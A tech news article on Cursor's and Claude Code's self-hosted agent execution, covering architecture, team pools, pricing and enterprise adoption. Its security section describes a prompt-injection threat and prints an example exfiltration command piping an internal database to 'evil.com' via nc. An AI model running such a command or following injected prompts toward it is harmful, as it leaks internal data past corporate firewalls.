Cursor and Claude Code Bring AI Agent Execution Inside Your Firewall

Cursor and Claude Code Release Self-Hosted Agent Execution on Consecutive Days

On September 2, Cursor launched self-hosted machines ; on September 3, Claude Code entered public beta with self-hosted environments . Both features address the same enterprise pain point: allowing AI agent tool execution to run inside the customer's own network instead of on the vendor's cloud.

Background: Cloud Execution vs. Enterprise Constraints

Previously, AI coding agents operated entirely in the cloud — code, build artifacts, and secrets had to be uploaded to the provider's servers. While acceptable for individual developers, this creates a hard blocker for enterprises: private registries are unreachable, internal databases sit behind multiple firewalls, and policies forbid code leaving the corporate network.

Cursor's Approach: Self-Hosted Machines and Team Pools

Cursor moves the execution steps to the user's machine. The agent reasoning remains on Cursor's side, but "the agent's hands and feet run on your hardware." Code, build outputs, and credentials never leave the internal network. A community summary captures it: execution is self-hosted; the agent is not.

Cursor also introduced a team scheduling system:

My Machines — single-machine mode: a laptop or VM bound to an account for personal workflows.

Team pools — named queues that auto-scale: requests trigger scale-up, worker failures trigger scale-down, idle machines can sleep and wake within a reconnection window for the next task, avoiding the cost of keeping expensive GPU instances running while waiting for prompts.

Additionally, Cursor's cloud agents can now run on infrastructure the user already manages: AWS Lambda, Coder, Cloudflare, Daytona, Modal, Namespace, Vercel, and E2B. Linux and macOS computer use is supported — the agent can click, type, take screenshots, and operate a browser; the user can watch the desktop session or take over at any time.

Claude Code: Self-Hosted Runner with a CI Analogy

Claude Code follows nearly the same model. A single command — claude self-hosted-runner setup — places the cloud session onto the user's infrastructure. VPNs, private registries, and databases behind three layers of firewalls become accessible. Anthropic's analogy is precise: it works like a self-hosted CI runner .

Industry Shift: From Editor War to Infrastructure War

The simultaneous releases are not coincidental. AI programming tools are moving from a to-C editor competition to a to-B infrastructure competition . The vendor that can push the agent's execution boundary inside the enterprise intranet will win customers with "code cannot leave the company network" requirements.

Security and Trust Concerns

This model introduces new attack surfaces. As commentator John Rood noted on the Claude Code announcement:

self-hosted should not mean unconditional network trust. Give each task a scoped identity and an explicit service allowlist, otherwise prompt injection just moves from the cloud to behind the firewall.

If a CI runner is injected with a command like curl internal-db:5432 | nc evil.com 4444, the vulnerability lies in the CI configuration. But if an AI agent is tricked by a crafted prompt into performing the same action, the responsible layer — model, orchestration, or sandbox — remains undefined.

Pricing and Ecosystem

Cursor Pro starts at $20/month, but compute for self-hosted machines is paid by the user.

Claude Code self-hosted runner is currently limited to the Max plan; users are asking whether it will be available on lower tiers.

Coder released Agent Relay on the same day, providing self-hosted execution environments on customer infrastructure for Cursor Cloud Agents. It is in private preview with SpaceXAI as a design partner; pricing is not yet public.

Outlook

The space is heating up. For general users, awareness is the first step. For teams that must access internal services or specialized hardware, self-hosted agent execution is becoming a must-have. With the rise of distributed collaboration, this pattern is likely to become standard across many tools.